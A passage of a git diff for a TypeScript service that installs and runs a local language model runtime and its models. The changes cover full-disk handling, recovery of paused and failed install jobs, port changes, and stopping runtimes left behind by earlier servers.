ended: nothing would use it, and it holds the model's memory. + * Never throws, and never keeps the server from starting. */ boot(): Promise<void>; /** Called when the server stops, beside `stopDeepSeekWeb()`: aborts a job in flight (it reads `paused` at the next boot) and stops the runtime. */ shutdown(): Promise<void>; - /** What the runtime supervisor reports through `onChange`: a new pid after a restart, or the budget line. Stored, never thrown. */ + /** What the runtime supervisor reports through `onChange`: the pid of a child the moment it is spawned, a new pid after a restart, the budget line. Stored, never thrown. */ onRuntimeChange(status: RuntimeStatus): void; /** Resolves once no job is in flight. For `shutdown()` and for tests. */ idle(): Promise<void>; @@ -842,13 +908,23 @@ function lazySupervisor(build: () => RuntimeSupervisor): RuntimeSupervisor { let instance: RuntimeSupervisor | undefined; return { start: (options) => (instance ??= build()).start(options), - stop: async () => { - if (instance) await instance.stop(); + stop: async (options) => { + // Built for a stored pid too: a runtime an earlier server left behind has no instance here. + if (instance || options?.previousPid !== undefined) await (instance ??= build()).stop(options); }, status: () => (instance ? instance.status() : { running: false, restarts: 0, gaveUp: false }), }; } +/** Whether a write failed for lack of space. */ +function isDiskFullError(err: unknown): boolean { + const code = typeof err === 'object' && err !== null ? (err as NodeJS.ErrnoException).code : undefined; + return code === 'ENOSPC' || code === 'EDQUOT' || /no space left on device/i.test(getErrorMessage(err)); +} + +/** How a job ended, as the `fail` event carries it. */ +type JobFailure = Omit<Extract<InstallJobEvent, { type: 'fail' }>, 'type'>; + /** Forgets the cached lookups of a CLI's binaries the way the CLI registry routes do, then probes it again. */ async function recheckCliInstalledNow(cli: string): Promise<boolean> { const entry = getCli(cli); @@ -866,12 +942,22 @@ class LocalModelServiceImpl implements LocalModelService { private verbChain: Promise<unknown> = Promise.resolve(); private recovery: Promise<void> | undefined; private stopping = false; + /** A verb wrote `installing` and is about to start the job: the view must not take that for a job that is gone. */ + private jobStarting = false; + /** + * How the last job ended when the state file could not be told (a full disk): the failure, + * or nothing for a pause, and the download as it stood. Shown from memory and written by + * the next verb. + */ + private unrecorded: { failure?: JobFailure; progress?: { completedBytes: number; totalBytes: number } } | undefined; /** The download in flight, as last reported. The state file gets it every few seconds. */ private liveProgress: { completedBytes: number; totalBytes: number; bytesPerSecond?: number } | undefined; private lastProgressFlush = 0; private speedSamples: Array<{ at: number; bytes: number }> = []; /** The last start found another program on the stored port. */ private portInUse = false; + /** The last start failed for another reason, with what the runtime said. Cleared by a start that works and by Stop. */ + private startFailed: { detail?: string } | undefined; private digestStatus: 'same' | 'changed' | 'unknown' | undefined; private digestCheckedAt = 0; @@ -897,12 +983,14 @@ class LocalModelServiceImpl implements LocalModelService { listRunning, getRuntimeVersion, deleteModel, + removePartialModelBlobs, checkDeveloperTools: () => checkDeveloperTools(), stockInstallCommand, tryBeginCliInstall, runInstallCommand, recheckCliInstalled: recheckCliInstalledNow, audit: (entry) => appendAdminAudit({ ...entry, detail: entry.detail as Record<string, unknown> | undefined }), + inspectLocalEndpoint, connectLocalModel, moveLocalEndpoint, ensureLocalEndpoint, @@ -930,7 +1018,7 @@ class LocalModelServiceImpl implements LocalModelService { return run; } - /** Applies one event to the stored state. False when the reducer refused it. */ + /** Applies one event of the running job to the stored state. False when the reducer refused it. */ private async dispatch(event: InstallJobEvent): Promise<boolean> { const { after } = await this.deps.mutateState((current) => { const next = reduceInstallJob(current, event); @@ -939,6 +1027,76 @@ class LocalModelServiceImpl implements LocalModelService { return after !== undefined; } + /** + * `state` as it stands once a job that is over is counted as over: `installing` in the file + * while this process runs no job is a job that ended without the file knowing. It is + * `failed` with the outcome kept in memory, or `paused` when there is none (a restart, a + * Cancel whose write was refused). A paused or failed job with an outcome in memory is a + * Resume that could not be written. Pure apart from reading `this.job` and `this.unrecorded`. + */ + private settled(state: LocalModelStateFile): LocalModelStateFile { + if (this.job) return state; + const failure = this.unrecorded?.failure; + let next: LocalModelStateFile; + if (state.state === 'installing') { + next = failure + ? reduceInstallJob(state, { type: 'fail', ...failure }) + : reduceInstallJob(state, { type: 'restart' }); + } else if (failure && (state.state === 'paused' || state.state === 'failed')) { + // A Resume that could not even be written (the disk is full): the job did not start, + // and it says why instead of looking as if the click did nothing. + next = reduceInstallJob({ ...state, state: 'installing' }, { type: 'fail', ...failure }); + } else { + return state; + } + const progress = this.unrecorded?.progress; + return progress ? { ...next, progress } : next; + } + + /** The stored state as a view or a verb must see it: settled, unless a verb is just starting a job. */ + private async currentState(): Promise<LocalModelStateFile> { + const state = await this.deps.readState(); + return this.jobStarting ? state : this.settled(state); + } + + /** + * Applies one event of a VERB to the stored state, after settling it (`settled()`), in one + * write. False when the reducer refused the event; the settlement is written all the same. + */ + private async verbDispatch(event: InstallJobEvent): Promise<boolean> { + let applied = false; + let settledNow = false; + await this.deps.mutateState((current) => { + const base = this.settled(current); + settledNow = base !== current; + const next = reduceInstallJob(base, event); + applied = next !== base; + if (applied) return next; + return settledNow ? base : undefined; + }); + if (settledNow || applied) this.unrecorded = undefined; + return applied; + } + + /** + * Writes the settlement alone, so the file says what the view already shows. Best effort: a + * write that is refused (the disk is still full) changes nothing, the outcome stays in + * memory and the next verb tries again. + */ + private async settle(): Promise<void> { + try { + let settledNow = false; + await this.deps.mutateState((current) => { + const base = this.settled(current); + settledNow = base !== current; + return settledNow ? base : undefined; + }); + if (settledNow) this.unrecorded = undefined; + } catch (err) { + console.warn(`[local-model] Could not write the state of the install: ${getErrorMessage(err)}`); + } + } + /** Writes facts a step learned. Never moves the state, and writes nothing once the job's state is gone. */ private async record(change: (current: LocalModelStateFile) => LocalModelStateFile | undefined): Promise<void> { await this.deps.mutateState((current) => (current.state === 'idle' ? undefined : change(current))); @@ -946,16 +1104,12 @@ class LocalModelServiceImpl implements LocalModelService { /** * A job the state file still calls `installing` when this process has none is one a restart - * interrupted: it becomes `paused`. Done once, before the first view or verb, whether or not - * `boot()` ran yet. + * interrupted: it becomes `paused`. Written once per process, before the first view or verb, + * whether or not `boot()` ran yet. This is the one write a GET makes; a job that ends later + * without the file knowing is shown from memory (`settled()`) and written by the next verb. */ private recovered(): Promise<void> { - this.recovery ??= this.dispatch({ type: 'restart' }).then( - () => undefined, - (err: unknown) => { - console.warn(`[local-model] Could not read the state at start: ${getErrorMessage(err)}`); - } - ); + this.recovery ??= this.settle(); return this.recovery; } @@ -967,6 +1121,28 @@ class LocalModelServiceImpl implements LocalModelService { } } + /** + * The runtime version to start: the pinned one when it is unpacked, else the version the + * state file records when THAT is still unpacked (a model installed by an earlier build + * with another pin keeps running), else the pinned one, whose start then says what is + * missing. + */ + private async runtimeVersionToRun(state: LocalModelStateFile): Promise<string> { + const pinned = this.deps.pin.version; + const stored = state.runtime?.version; + if (!stored || stored === pinned || (await this.isRuntimeOnDisk())) return pinned; + try { + const paths = this.paths(); + const binary = runtimeBinaryForVersion(paths, stored); + if (await this.deps.isRuntimeInstalled({ ...this.deps.pin, version: stored }, { ...paths, binary })) { + return stored; + } + } catch { + /* not a version this build can name: the pinned one is tried */ + } + return pinned; + } + private errorVars(code: LocalModelErrorCode, state: LocalModelStateFile): Record<string, string> | undefined { const model = state.model?.label ?? ''; switch (code) { @@ -987,15 +1163,38 @@ class LocalModelServiceImpl implements LocalModelService { } } - /** The best model the current recommendation offers that is not `failedId`. */ - private async nextModelId(failedId: string, options?: RecommendOptions): Promise<string | undefined> { + /** + * The model to offer after `failed` did not work: the best one the current recommendation + * offers that is another model. With `smallerThan` (the memory the failed model needs, for + * `does-not-fit`) only a model that needs LESS is offered: one that needs more would fail + * the same way. `undefined` when there is none. + */ + private async nextModelId( + failed: { id: string; context: number }, + options?: RecommendOptions, + rule: { needsLessMemory?: boolean } = {} + ): Promise<string | undefined> { try { const hw = await this.deps.readHardware(); const catalog = this.deps.getCatalog(); const facts = await this.deps.buildHarnessFacts(catalog); const rec = this.deps.recommend(hw, catalog, facts, options ?? (await this.recommendOptions())); - const rows = [rec.pick, ...rec.alternatives].filter((row): row is Candidate => row !== undefined); - return rows.find((row) => row.modelId !== failedId)?.modelId; + const rows = [rec.pick, ...rec.alternatives].filter( + (row): row is Candidate => row !== undefined && row.modelId !== failed.id + ); + if (!rule.needsLessMemory) return rows[0]?.modelId; + // What the failed model needs: its row when the recommendation still has it, else the + // catalogue's figures for it at the context that was chosen. + const failedRow = [rec.pick, ...rec.alternatives].find((row) => row?.modelId === failed.id); + const entry = catalog.models.find((model) => model.id === failed.id); + const limit = + failedRow && failedRow.context === failed.context + ? failedRow.needBytes + : entry + ? needBytes(entry, failed.context) + : undefined; + if (limit === undefined || !Number.isFinite(limit)) return undefined; + return rows.find((row) => row.needBytes < limit)?.modelId; } catch { return undefined; } @@ -1038,6 +1237,12 @@ class LocalModelServiceImpl implements LocalModelService { }); } + /** The download as it stands, for a job that ends: what a paused or failed job keeps. */ + private progressNow(): { completedBytes: number; totalBytes: number } | undefined { + const progress = this.liveProgress; + return progress ? { completedBytes: progress.completedBytes, totalBytes: progress.totalBytes } : undefined; + } + private clearProgress(): void { this.liveProgress = undefined; this.speedSamples = []; @@ -1052,17 +1257,24 @@ class LocalModelServiceImpl implements LocalModelService { return { ok: false, code: 'runtime-start-failed', detail: 'No port was chosen for the runtime yet.' }; } const { port } = state.runtime; + const version = await this.runtimeVersionToRun(state); let result: RuntimeStartResult; try { result = await this.deps.supervisor.start({ port, contextLength: state.model.context, ...(state.runtime.pid !== undefined ? { previousPid: state.runtime.pid } : {}), + ...(version !== this.deps.pin.version ? { version } : {}), }); } catch (err) { result = { ok: false, code: 'runtime-start-failed', detail: getErrorMessage(err) }; } this.portInUse = !result.ok && result.code === 'port-in-use'; + // Kept, so an installed model whose runtime does not start says so instead of only "stopped". + this.startFailed = + !result.ok && result.code === 'runtime-start-failed' + ? { ...(result.detail ? { detail: result.detail } : {}) } + : undefined; if (result.ok) { const { pid, measuredTotalBytes } = result; await this.record((current) => @@ -1071,7 +1283,7 @@ class LocalModelServiceImpl implements LocalModelService { ...current, runtime: { ...current.runtime, - version: this.deps.pin.version, + version, pid, ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}), }, @@ -1111,7 +1323,9 @@ class LocalModelServiceImpl implements LocalModelService { } onRuntimeChange(status: RuntimeStatus): void { - if (!status.running || status.pid === undefined) return; + // The pid is stored from the moment the child is spawned, not only once it answers: a + // server that is killed in between must still find its own runtime at the next start. + if (status.pid === undefined) return; const { pid, measuredTotalBytes } = status; void this.record((current) => { if (!current.runtime) return undefined; @@ -1149,6 +1363,7 @@ class LocalModelServiceImpl implements LocalModelService { running: status.running, gaveUp: status.gaveUp, portInUse: this.portInUse, + ...(this.startFailed ? { startFailed: this.startFailed } : {}), ...(state.state === 'installed' && this.digestStatus ? { digest: this.digestStatus } : {}), developerTools, runtimeInstalled: await this.isRuntimeOnDisk(), @@ -1162,7 +1377,7 @@ class LocalModelServiceImpl implements LocalModelService { async view(): Promise<LocalModelInstallView> { try { await this.recovered(); - let state = await this.deps.readState(); + let state = await this.currentState(); if (state.state === 'installing' && this.liveProgress) { state = { ...state, @@ -1214,13 +1429,14 @@ class LocalModelServiceImpl implements LocalModelService { if (!isLocalModelEndpointId(endpointId)) return undefined; try { await this.recovered(); - const state = await this.deps.readState(); + const state = await this.currentState(); // A record with the reserved id that this feature did not write is not ours to judge. if (state.connection?.endpointId !== endpointId) return undefined; const status = this.deps.supervisor.status(); if (state.state !== 'installed' || !state.runtime || !state.model || !status.running) { if (this.portInUse) return buildInstallError('port-in-use', { vars: this.errorVars('port-in-use', state) }); if (status.gaveUp) return buildInstallError('runtime-stopped'); + if (this.startFailed) return buildInstallError('runtime-start-failed', { next: 'start' }); return buildInstallError('runtime-not-running'); } const digest = await this.refreshDigest(state); @@ -1253,7 +1469,10 @@ class LocalModelServiceImpl implements LocalModelService { try { const state = await this.deps.readState(); if (state.connection?.endpointId === endpointId && state.model && state.model.id !== modelId) { - return `Only ${state.model.label} is installed on this Mac. Remove it and install another model first.`; + return formatInstallMessage({ + text: LOCAL_MODEL_INSTALL_LABELS.refusedOtherModel, + vars: { model: state.model.label }, + }); } } catch { /* an unreadable state is "nothing of ours": nothing to refuse */ @@ -1269,8 +1488,8 @@ class LocalModelServiceImpl implements LocalModelService { install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise<LocalModelVerbResult> { return this.exclusive(async () => { - await this.recovered(); - const state = await this.deps.readState(); + await this.settle(); + const state = await this.currentState(); if (state.state === 'installing') return conflict('job-running'); if (state.state === 'installed') return conflict('already-installed'); @@ -1284,7 +1503,7 @@ class LocalModelServiceImpl implements LocalModelService { const rows = [rec.pick, ...rec.alternatives].filter((row): row is Candidate => row !== undefined); const candidate = rows.find((row) => row.modelId === request.modelId); if (!candidate || candidate.context !== request.context) { - return { ok: false, status: 400, message: 'This model at this context is not offered for this Mac right now.' }; + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedModelNotOffered } }; } // A row without the list (an older shape) still names its one coding agent in the flat fields. const harnesses: CandidateHarness[] = candidate.harnesses ?? [ @@ -1292,13 +1511,13 @@ class LocalModelServiceImpl implements LocalModelService { ]; const harness = harnesses.find((row) => row.cli === request.cli); if (!harness || !catalog.harnesses.some((row) => row.cli === request.cli)) { - return { ok: false, status: 400, message: 'This coding agent is not offered for this model.' }; + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered } }; } if (!harness.installed && !this.deps.stockInstallCommand(harness.cli)) { return { ok: false, status: 400, - message: `${harness.cliLabel} is not installed and cannot be installed from here.`, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: harness.cliLabel } }, }; } const expectedBytes = candidate.installBytes ?? candidate.downloadBytes + (options.runtimeDownloadBytes ?? 0); @@ -1311,19 +1530,17 @@ class LocalModelServiceImpl implements LocalModelService { return { ok: false, status: 400, - message: formatInstallMessage( - buildInstallError('endpoint-id-taken', { vars: { id: LOCAL_MODEL_ENDPOINT_ID } }).message - ), + message: buildInstallError('endpoint-id-taken', { vars: { id: LOCAL_MODEL_ENDPOINT_ID } }).message, }; } - const started = await this.dispatch({ + const refused = await this.beginJob(actor, { type: 'install', model: { id: candidate.modelId, label: candidate.modelLabel, context: candidate.context }, cli: { id: harness.cli, label: harness.cliLabel }, steps: jobSteps({ agentInstalled: harness.installed }), }); - if (!started) return conflict('wrong-state'); + if (refused) return refused; void this.deps .audit({ admin: actor.username, @@ -1333,71 +1550,149 @@ class LocalModelServiceImpl implements LocalModelService { detail: { cli: harness.cli, context: candidate.context, bytes: expectedBytes }, }) .catch(() => {}); - this.startJob(actor); return this.answer(); }); } + /** + * Writes the event that starts a job (`install` or `resume`) and starts the job. `undefined`: + * started. A state file that cannot be written for lack of space is not a 500: the job did + * not start, and the view says `disk-full` with its "Try again" (a first install, which has + * no job to show it on, is answered with that sentence). + */ + private async beginJob( + actor: LocalModelActor, + event: Extract<InstallJobEvent, { type: 'install' | 'resume' }> + ): Promise<LocalModelVerbResult | undefined> { + this.jobStarting = true; + try { + const started = await this.verbDispatch(event); + if (!started) return conflict('wrong-state'); + this.startJob(actor); + return undefined; + } catch (err) { + if (!isDiskFullError(err)) throw err; + // A first install has no job to show the failure on: the sentence goes back as it is. + if (event.type === 'install' && (await this.currentState().catch(() => undefined))?.state === 'idle') { + return { ok: false, status: 507, message: { text: LOCAL_MODEL_INSTALL_LABELS.errDiskFull } }; + } + const kept = this.unrecorded?.progress; + this.unrecorded = { + failure: { code: 'disk-full', detail: getErrorMessage(err) }, + ...(kept ? { progress: kept } : {}), + }; + return this.answer(); + } finally { + this.jobStarting = false; + } + } + cancel(): Promise<LocalModelVerbResult> { return this.exclusive(async () => { - await this.recovered(); - const state = await this.deps.readState(); - if (state.state !== 'installing') return conflict('wrong-state'); + // Taken before anything is awaited: a Cancel that arrives while a job runs is answered + // with the view after it, also when the job finishes in the same moment. const job = this.job; - if (job) { - job.controller.abort(); - await job.promise.catch(() => {}); + if (!job) { + // No job in this process: a job a restart interrupted is paused, never running. + await this.settle(); + return conflict('wrong-state'); } + job.controller.abort(); + await job.promise.catch(() => {}); // The step may have finished the job while it was being interrupted (the connect step // completes its two writes). Then there is nothing left to pause, and the view says so. - await this.flushProgress().catch(() => {}); - await this.dispatch({ type: 'cancel' }); + // Otherwise the job is paused with its download as it stood, in ONE write. + const progress = this.progressNow(); + try { + await this.deps.mutateState((current) => { + if (current.state !== 'installing') return undefined; + const kept = progress ? reduceInstallJob(current, { type: 'progress', ...progress }) : current; + return reduceInstallJob(kept, { type: 'cancel' }); + }); + } catch (err) { + // The job IS stopped. The file could not be told: the view shows the pause from memory. + console.warn(`[local-model] Could not write the paused install: ${getErrorMessage(err)}`); + this.unrecorded = { ...(progress ? { progress } : {}) }; + } this.clearProgress(); return this.answer(); }); } - resume(request: LocalModelResumeRequest, actor: LocalModelActor): Promise<LocalModelVerbResult> { + resume( + request: LocalModelResumeRequest, + actor: LocalModelActor, + liveSessionNames: readonly string[] = [] + ): Promise<LocalModelVerbResult> { return this.exclusive(async () => { - await this.recovered(); - const state = await this.deps.readState(); + await this.settle(); + const state = await this.currentState(); if (state.state === 'installing') return conflict('job-running'); if (state.state !== 'paused' && state.state !== 'failed') return conflict('wrong-state'); - if (request.newPort === true && state.runtime) await this.changePort(state); - const resumed = await this.dispatch({ type: 'resume' }); - if (!resumed) return conflict('wrong-state'); - this.startJob(actor); - return this.answer(); + if (request.newPort === true && state.runtime) { + const open = this.sessionsOpen(state, liveSessionNames); + if (open) return open; + await this.changePort(state); + } + return (await this.beginJob(actor, { type: 'resume' })) ?? this.answer(); }); } - /** Chooses another port than the stored one and moves the saved endpoint with it. False when no other port is free. */ + /** 409 `sessions-open` while live sessions use a connection of ours, else `undefined`. */ + private sessionsOpen( + state: LocalModelStateFile, + liveSessionNames: readonly string[] + ): LocalModelVerbResult | undefined { + if (!state.connection || liveSessionNames.length === 0) return undefined; + const sessions = [...liveSessionNames]; + return conflict('sessions-open', { sessions }, { sessions: sessions.join(', ') }); + } + + /** + * Chooses another port than the stored one and moves the saved endpoint with it. False when + * no other port is free. The state file first, then the saved endpoint: a state write that + * fails changes nothing, and a refused endpoint write puts the old port back, so the two + * never disagree. The stored pid stays: when it is still our own runtime on the OLD port, + * the next start ends it instead of leaving a second runtime behind. + */ private async changePort(state: LocalModelStateFile): Promise<boolean> { if (!state.runtime) return false; - const port = await this.deps.chooseRuntimePort({ avoid: [state.runtime.port] }); + const previous = state.runtime.port; + const port = await this.deps.chooseRuntimePort({ avoid: [previous] }); if (port === undefined) return false; - // The saved endpoint first: when that write is refused, nothing has changed yet. - if (state.connection) await this.deps.moveLocalEndpoint(port); - await this.record((current) => { - if (!current.runtime) return undefined; - // The stored pid belonged to the old port: it must not make a listener on the new one "ours". - const { pid: _pid, ...runtime } = current.runtime; - return { ...current, runtime: { ...runtime, port } }; - }); + const setPort = (value: number): Promise<void> => + this.record((current) => + current.runtime ? { ...current, runtime: { ...current.runtime, port: value } } : undefined + ); + await setPort(port); + if (state.connection) { + try { + await this.deps.moveLocalEndpoint(port); + } catch (err) { + await setPort(previous).catch(() => {}); + throw err; + } + } this.portInUse = false; return true; } - runtime(request: LocalModelRuntimeRequest): Promise<LocalModelVerbResult> { + runtime(request: LocalModelRuntimeRequest, liveSessionNames: readonly string[] = []): Promise<LocalModelVerbResult> { return this.exclusive(async () => { - await this.recovered(); - let state = await this.deps.readState(); + await this.settle(); + let state = await this.currentState(); if (state.state === 'installing') return conflict('job-running'); if (state.state !== 'installed' || !state.runtime) return conflict('wrong-state'); if (request.action === 'stop') { - await this.deps.supervisor.stop(); + // Their coding agents keep calling the address they were started with. + const open = this.sessionsOpen(state, liveSessionNames); + if (open) return open; + await this.deps.supervisor.stop({ + ...(state.runtime.pid !== undefined ? { previousPid: state.runtime.pid } : {}), + }); this.portInUse = false; + this.startFailed = undefined; await this.record((current) => current.runtime ? { ...current, runtime: { ...current.runtime, enabled: false } } : undefined ); @@ -1405,8 +1700,12 @@ class LocalModelServiceImpl implements LocalModelService { } if (request.newPort === true) { + const open = this.sessionsOpen(state, liveSessionNames); + if (open) return open; // The old child, when one is still alive, holds the old port: it must go first. - await this.deps.supervisor.stop(); + await this.deps.supervisor.stop({ + ...(state.runtime.pid !== undefined ? { previousPid: state.runtime.pid } : {}), + }); await this.changePort(state); } await this.record((current) => @@ -1425,15 +1724,17 @@ class LocalModelServiceImpl implements LocalModelService { actor?: LocalModelActor ): Promise<LocalModelVerbResult> { return this.exclusive(async () => { - await this.recovered(); - const state = await this.deps.readState(); + await this.settle(); + const state = await this.currentState(); if (state.state === 'installing') return conflict('job-running'); - if (state.connection && liveSessionNames.length > 0) { - const sessions = [...liveSessionNames]; - return conflict('sessions-open', { sessions }, { sessions: sessions.join(', ') }); - } + const open = this.sessionsOpen(state, liveSessionNames); + if (open) return open; - await this.deps.supervisor.stop(); + // Our child, and a runtime an earlier server left behind (known by the stored pid): no + // file is deleted under a process that still runs from it. + await this.deps.supervisor.stop({ + ...(state.runtime?.pid !== undefined ? { previousPid: state.runtime.pid } : {}), + }); // The two writes outside our folder are undone first: when one is refused, nothing was // deleted yet and the person can try again. if (state.connection) { @@ -1441,9 +1742,11 @@ class LocalModelServiceImpl implements LocalModelService { } const removeModel = request.removeModel === true; await this.deps.removeLocalModelFiles({ models: removeModel, paths: this.paths() }); - await this.dispatch({ type: 'remove' }); + await this.verbDispatch({ type: 'remove' }); this.clearProgress(); + this.unrecorded = undefined; this.portInUse = false; + this.startFailed = undefined; this.digestStatus = undefined; if (actor) { void this.deps @@ -1463,11 +1766,11 @@ class LocalModelServiceImpl implements LocalModelService { async boot(): Promise<void> { try { await this.recovered(); - const state = await this.deps.readState(); - if (state.state !== 'installed' || !state.runtime || !state.model) return; + const state = await this.currentState(); + const installed = state.state === 'installed' && state.runtime !== undefined && state.model !== undefined; // The record of the connection can be gone while the model is still installed (a // config-backup restore of an older endpoint store): it is put back, never replaced. - if (state.connection) { + if (installed && state.connection && state.runtime && state.model) { const restored = await this.deps.ensureLocalEndpoint({ port: state.runtime.port, modelId: state.model.id, @@ -1476,7 +1779,15 @@ class LocalModelServiceImpl implements LocalModelService { if (restored) console.warn('[local-model] The saved endpoint of the model on this Mac was missing and was put back.'); } - if (!state.runtime.enabled) return; + if (!installed || !state.runtime?.enabled) { + // Nothing starts the runtime here (a job waits for a click, the person stopped the + // model). One an earlier server left behind is ended: it holds the model's memory, + // and a later Remove must not delete its folder under it. + if (state.runtime?.pid !== undefined) { + await this.deps.supervisor.stop({ previousPid: state.runtime.pid }); + } + return; + } const started = await this.startRuntime(state); if (!started.ok) { console.warn( @@ -1519,6 +1830,7 @@ class LocalModelServiceImpl implements LocalModelService { private startJob(actor: LocalModelActor): void { const controller = new AbortController(); this.clearProgress(); + this.unrecorded = undefined; const job = { controller, promise: this.runJob(actor, controller.signal).finally(() => { @@ -1538,7 +1850,12 @@ class LocalModelServiceImpl implements LocalModelService { try { outcome = await this.runStep(state.step, state, actor, signal); } catch (err) { - outcome = { kind: 'fail', code: 'internal', detail: getErrorMessage(err) }; + // A write of the step itself that found no space is a full disk, not a mystery. + outcome = { + kind: 'fail', + code: isDiskFullError(err) ? 'disk-full' : 'internal', + detail: getErrorMessage(err), + }; } if (outcome.kind === 'done') { // A step that finished stays finished, also when Cancel arrived while it ran. Its @@ -1550,19 +1867,38 @@ class LocalModelServiceImpl implements LocalModelService { // An interrupted step is not a failed one, whatever its last call answered. Cancel // writes `paused` itself; a server that is stopping writes nothing. if (outcome.kind === 'cancelled' || signal.aborted || this.stopping) return; - await this.flushProgress().catch(() => {}); - await this.dispatch({ - type: 'fail', + const failure: JobFailure = { code: outcome.code, ...(outcome.vars ? { vars: outcome.vars } : {}), ...(outcome.detail ? { detail: outcome.detail } : {}), ...(outcome.nextModelId ? { nextModelId: outcome.nextModelId } : {}), - }); + }; + const progress = this.progressNow(); + try { + // The failure and the download as it stood, in ONE write. + await this.deps.mutateState((current) => { + const kept = progress ? reduceInstallJob(current, { type: 'progress', ...progress }) : current; + const next = reduceInstallJob(kept, { type: 'fail', ...failure }); + return next === current ? undefined : next; + }); + } catch (err) { + // The disk that failed the step also refuses the state file. The outcome is not + // lost: the view shows it from memory and the next verb writes it. + console.warn(`[local-model] Could not write why the install stopped: ${getErrorMessage(err)}`); + this.unrecorded = { failure, ...(progress ? { progress } : {}) }; + } + this.clearProgress(); return; } } catch (err) { + // A write of the job itself was refused (the step that finished could not be recorded). console.warn(`[local-model] The install job stopped: ${getErrorMessage(err)}`); - await this.dispatch({ type: 'fail', code: 'internal', detail: getErrorMessage(err) }).catch(() => {}); + const progress = this.progressNow(); + this.unrecorded = { + failure: { code: isDiskFullError(err) ? 'disk-full' : 'internal', detail: getErrorMessage(err) }, + ...(progress ? { progress } : {}), + }; + this.clearProgress(); } } @@ -1629,7 +1965,7 @@ class LocalModelServiceImpl implements LocalModelService { const catalog = this.deps.getCatalog(); const options: RecommendOptions = { measuredTotalBytes, runtimeDownloadBytes: 0 }; if (!this.deps.modelFitsBudget(hw, catalog, state.model.id, state.model.context, options)) { - const nextModelId = await this.nextModelId(state.model.id, options); + const nextModelId = await this.nextModelId(state.model, options, { needsLessMemory: true }); return { kind: 'fail', code: 'does-not-fit', @@ -1657,6 +1993,15 @@ class LocalModelServiceImpl implements LocalModelService { /* a leftover is not a reason to stop: Remove with the models deletes it */ } if (signal.aborted) return CANCELLED; + // A download that was interrupted left partial blobs and no model: the runtime answers + // "not found" for it and deletes nothing. No download is in flight here, so every + // partial file in the store is a dead one. + try { + const freed = await this.deps.removePartialModelBlobs(this.paths()); + if (freed > 0) console.log(`[local-model] Deleted ${formatGb(freed)} GB a replaced download had left.`); + } catch { + /* as above */ + } await this.record((current) => { const { replacedModelId: _replaced, ...rest } = current; return rest; @@ -1669,7 +2014,16 @@ class LocalModelServiceImpl implements LocalModelService { }); if (!pulled.ok) { if (pulled.code === 'cancelled') return CANCELLED; - const nextModelId = pulled.code === 'model-not-found' ? await this.nextModelId(state.model.id) : undefined; + // A runtime that is gone for good looks like a broken network to the pull. It is not. + const status = this.deps.supervisor.status(); + if (pulled.code === 'pull-failed' && (status.gaveUp || !status.running)) { + return { + kind: 'fail', + code: 'runtime-stopped', + ...(pulled.detail ? { detail: pulled.detail } : {}), + }; + } + const nextModelId = pulled.code === 'model-not-found' ? await this.nextModelId(state.model) : undefined; return { kind: 'fail', code: pulled.code, @@ -1711,8 +2065,12 @@ class LocalModelServiceImpl implements LocalModelService { } vars = { model: state.model.label, actual, wanted: String(context) }; } - const offersNext = verified.code === 'does-not-fit' || verified.code === 'no-tool-call'; - const nextModelId = offersNext ? await this.nextModelId(id) : undefined; + const nextModelId = + verified.code === 'does-not-fit' + ? await this.nextModelId(state.model, undefined, { needsLessMemory: true }) + : verified.code === 'no-tool-call' + ? await this.nextModelId(state.model) + : undefined; return { kind: 'fail', code: verified.code, @@ -1815,13 +2173,41 @@ class LocalModelServiceImpl implements LocalModelService { return { kind: 'fail', code: 'connect-failed', detail: `The runtime does not list ${id}.` }; } + // The connection is CLAIMED in the state file before either write, so no record of ours + // can exist that the state file does not know: a state write that fails, or a server that + // is killed between the two, leaves at worst a claim with nothing behind it. + let claim = running.connection; + if (!claim) { + let found: LocalEndpointInspection; + try { + found = await this.deps.inspectLocalEndpoint({ port, modelId: id, context }); + } catch (err) { + return { kind: 'fail', code: 'connect-failed', detail: getErrorMessage(err) }; + } + if (signal.aborted) return CANCELLED; + // A record with our id that says something else is somebody else's: never overwritten. + if (found.record === 'other') { + return { kind: 'fail', code: 'endpoint-id-taken', vars: this.errorVars('endpoint-id-taken', state) }; + } + // A record that already says what ours would say can only be ours (the routes refuse + // the id): the flag was then switched on by us, and its earlier value is not known, so + // it is never switched off again. + claim = { + endpointId: LOCAL_MODEL_ENDPOINT_ID, + flagWasEnabled: found.record === 'same' ? true : found.flagEnabled, + }; + const claimed = claim; + await this.record((current) => ({ ...current, connection: claimed })); + } + if (signal.aborted) return CANCELLED; + // From here on the two writes run to their end: Cancel no longer interrupts. const connected = await this.deps.connectLocalModel({ port, modelId: id, context, - ours: running.connection !== undefined, - ...(running.connection ? { flagWasEnabled: running.connection.flagWasEnabled } : {}), + ours: true, + flagWasEnabled: claim.flagWasEnabled, }); if (!connected.ok) { return { @@ -1831,11 +2217,6 @@ class LocalModelServiceImpl implements LocalModelService { ...(connected.detail ? { detail: connected.detail } : {}), }; } - const flagWasEnabled = connected.flagWasEnabled; - await this.record((current) => ({ - ...current, - connection: { endpointId: LOCAL_MODEL_ENDPOINT_ID, flagWasEnabled }, - })); return DONE; } } diff --git a/src/local-model/ollama-client.ts b/src/local-model/ollama-client.ts index a597c138..90fe3bb7 100644 --- a/src/local-model/ollama-client.ts +++ b/src/local-model/ollama-client.ts @@ -31,6 +31,7 @@ */ import type { LocalModelErrorCode } from '../types.js'; +import { formatGb } from './format.js'; /** How often a pull that ended on an error line or a cut stream is started again. */ export const PULL_RETRIES = 5; @@ -683,7 +684,8 @@ export function judgeLoaded( return { ok: false, code: 'does-not-fit', - detail: `${model.sizeVram} of ${model.size} bytes are on the GPU`, + // A size a person reads: decimal GB, like every other size of this feature. + detail: `${formatGb(model.sizeVram)} of ${formatGb(model.size)} GB of the model are on the GPU`, }; } if (model.contextLength !== context) { diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index 3bd29022..2fdd8f2b 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -27,14 +27,19 @@ * | | | `already-installed`, `size-changed` | * | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) | * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `job-running`, `wrong-state` (not paused or | - * | | | failed) | - * | `POST 